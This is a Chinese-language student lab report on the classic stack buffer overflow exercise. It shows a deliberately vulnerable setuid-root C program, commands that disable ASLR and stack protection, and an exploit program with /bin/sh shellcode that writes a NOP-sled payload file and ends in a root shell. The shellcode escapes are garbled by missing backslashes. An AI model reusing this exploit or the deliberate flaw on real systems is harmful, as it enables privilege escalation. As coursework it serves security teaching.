2018-2019-1 20165228 《信息安全系统设计基础》缓冲区溢出漏洞实验报告

实验简介：

缓冲区溢出攻击：通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。

实验原理：

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。shellcode是存放程序的汇编代码。

实验步骤：

1、关闭地址空间随机化功能，使猜测随机堆（heap）和栈（stack）的初始地址更容易。
使用命令：

$ sudo sysctl -w kernel.randomize_va_space=0

2、使用另一个 shell 程序（zsh）代替 /bin/bash，以重现防范缓冲区溢出攻击及其它利用 shell 程序的攻击防护措施被实现之前的情形。
设置zsh程序命令：

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

3、进入linux32位环境，输入“/bin/bash”使用bash

$ linux32
$ /bin/bash

4、在 /tmp 目录下新建一个 stack.c 文件，代码如下

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;//定义文件指针

    badfile = fopen("badfile", "r");//文件指针指向badfile
    fread(str, sizeof(char), 517, badfile);//从badfile中读取内容到str
    bof(str);//再把str中的内容复制到buffer中
    printf("Returned Properly
");
    return 1;
}

5、编译该程序，并设置set-uid

Linux SETUID机制
（1）进程运行时能够访问哪些资源或文件，不取决于进程文件的属主属组，而是取决于运行该命令的用户身份的uid/gid，以该身份获取各种系统资源。
（2）对一个属主为root的可执行文件，如果设置了SUID位，则其他所有普通用户都将可以以root身份运行该文件，获取相应的系统资源。
（3）可以简单地理解为让普通用户拥有可以执行“只有root权限才能执行”的特殊权限。
（4）setuid，setuid的作用是让执行该命令的用户以该命令拥有者的权限去执行，比如普通用户执行passwd时会拥有root的权限，这样就可以修改/etc/passwd这个文件了。它的标志为：s，会出现在x的地方，例：-rwsr-xr-x 。而setgid的意思和它是一样的，即让执行文件的用户以该文件所属组的权限去执行，
（5）我们知道/tmp是系统的临时文件目录，所有的用户在该目录下拥有所有的权限，也就是说在该目录下可以任意创建、修改、删除文件，那如果用户A在该目录下创建了一个文件，用户B将该文件删除了，这种情况我们是不能允许的。为了达到该目的，就出现了stick bit(粘滞位)的概念。它是针对目录来说的，如果该目录设置了stick bit(粘滞位)，则该目录下的文件除了该文件的创建者和root用户可以删除和修改/tmp目录下的stuff，别的用户均不能动别人的，这就是粘滞位的作用。

-- 引用自《Linux理解setuid()、setgid()和sticky位》

u 表示该档案的拥有者，g 表示与该档案的拥有者属于同一个群体(group)者，o 表示其他以外的人，a 表示这三者皆是。

表示增加权限、- 表示取消权限、= 表示唯一设定权限。
r 表示可读取，w 表示可写入，x 表示可执行，X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。
-c : 若该档案权限确实已经更改，才显示其更改动作
-f : 若该档案权限无法被更改也不要显示错误讯息
-v : 显示权限变更的详细资料
-R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)

-- 引用自《chmod命令详细用法》

命令：

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
//–fno-stack-protector 关闭阻止缓冲区溢出的栈保护机制， -z execstack 用于允许执行栈。
$ chmod u+s stack
$ exit

6、在 /tmp 目录下新建一个 exploit.c 文件，代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "x31xc0" //xorl %eax,%eax
    "x50"     //pushl %eax
    "x68""//sh" //pushl $0x68732f2f
    "x68""/bin"     //pushl $0x6e69622f
    "x89xe3" //movl %esp,%ebx
    "x50"     //pushl %eax
    "x53"     //pushl %ebx
    "x89xe1" //movl %esp,%ecx
    "x99"     //cdq
    "xb0x0b" //movb $0x0b,%al
    "xcdx80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

命令：

cd /tmp
vi exploit.c

7、输入命令得到 shellcode 在内存中的地址，设置断点，然后得到str地址。

$ gdb stack
$ disass main

8、修改exploit.c文件，shellcode 的地址为 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
9、编译 exploit.c 程序：

$ gcc -m32 -o exploit exploit.c

10、先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

通过攻击，获得了root 权限！